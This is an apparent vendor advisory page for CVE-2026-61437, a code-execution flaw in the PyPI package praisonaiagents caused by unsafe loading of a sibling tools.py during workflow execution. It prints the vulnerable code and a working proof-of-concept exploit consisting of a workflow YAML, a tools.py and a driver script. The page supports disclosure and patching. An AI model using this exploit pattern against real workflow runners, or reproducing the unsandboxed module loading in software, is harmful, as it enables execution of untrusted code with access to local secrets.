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Not in CISA KEV
HIGH severity

CVE-2026-61437 — praisonaiagents

HIGH

CVE-2026-61437 is a high-severity (CVSS 7.8) CWE-693 vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI: Unsafe Dynamic Module Loading Leads to Arbitrary Code Execution via tools.py in AgentFlow

Also known asPYSEC-2026-4267
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-61437.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs7th percentile — riskier than 7% of all scored CVEsHighest risk
0.00%0.22%0.45%0.67%0.1%0.2%0.2%0.2%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-61437 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍praisonaiagents

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

Details

The vulnerability is located in the workflow structured output resolution logic.

File: src/praisonai-agents/praisonaiagents/workflows/workflows.py

Method: AgentFlow._resolve_pydantic_class

if self.file_path:
    workflow_dir = Path(self.file_path).parent
    tools_path = workflow_dir / "tools.py"

    if tools_path.exists():
        spec = importlib.util.spec_from_file_location("tools", tools_path)
        tools_module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(tools_module)   # Arbitrary code execution

This code is reached during step execution when a step uses a string output_pydantic:

step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
    resolved_class = self._resolve_pydantic_class(step_output_pydantic)

file_path is set automatically by:

  • WorkflowManager._load_workflow() (used by workspace discovery)
  • WorkflowManager.create_workflow()

It can also be set manually after load_yaml():

wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"

The exec_module() call has no sandboxing and ignores the PRAISONAI_ALLOW_*_TOOLS environment variables used elsewhere in the project.

PoC

Create the following two files in the same directory:

/tmp/attack/attack.yaml

name: AttackWorkflow
steps:
  - name: generate
    action: "Produce structured output"
    output_pydantic: MaliciousModel

/tmp/attack/tools.py

print("[RCE] Arbitrary code executed from tools.py")

import os
with open("/tmp/rce_success.txt", "w") as f:
    f.write(f"RCE executed by PID {os.getpid()}")

class MaliciousModel:
    @classmethod
    def model_json_schema(cls):
        return {"type": "object"}

Run the following Python code (adjust the path to your PraisonAI source):

import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")

from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent

mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")

wf.file_path = "/tmp/attack/attack.yaml"

for step in wf.steps:
    step.output_pydantic = "MaliciousModel"
    step._output_pydantic = "MaliciousModel"
    if not getattr(step, "agent", None):
        step.agent = Agent(
            name="researcher",
            role="Researcher",
            goal="Generate output",
            instructions="Return structured data"
        )

wf.start("trigger")

Impact

Type: Execution of Untrusted Local Code via Unsafe Dynamic Module Loading.

Affected users include:

  • Users of WorkflowManager(workspace_path=...), where workflow discovery automatically sets file_path.
  • Users of WorkflowManager.create_workflow().
  • Applications that load workflows from repositories, templates, shared workflow collections, CI/CD artifacts, or other directories that may contain untrusted files.

During workflow execution, a string output_pydantic reference causes the framework to automatically locate, import, and execute a sibling tools.py file.

As a result, code contained in tools.py executes with the privileges of the workflow runner without requiring an explicit import or user approval step.

Successful exploitation results in arbitrary Python code execution within the workflow process. An attacker may be able to read local files, access secrets available to the process, modify workflow behavior, perform network operations, or execute additional system commands.

This behavior also bypasses the PRAISONAI_ALLOW_TEMPLATE_TOOLS / PRAISONAI_ALLOW_LOCAL_TOOLS protections used elsewhere in the project, allowing code execution through a separate workflow-resolution path.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.6.78pip install --upgrade 'praisonaiagents==1.6.78'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.6.78 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-61437 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling `tools.py` to execute arbitrary Python code when the workflow is executed. ### Details The vulnerability is located in the workflow structured output resolution logic. File: src/praisonai-agents/praisonaiagents/workflows/workflows.py Method: AgentFlow._resolve_pydantic_class ```python if self.file_path: workflow_dir = Path(self.file_path).parent tools_path = workflow_dir / "tools.py" if tools_path.exists(): spec = importlib.util.spec_from_file_loc
O3 Security · Impact-Aware SCA

Is CVE-2026-61437 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-61437: praisonaiagents RCE — Fixed in 1.6.78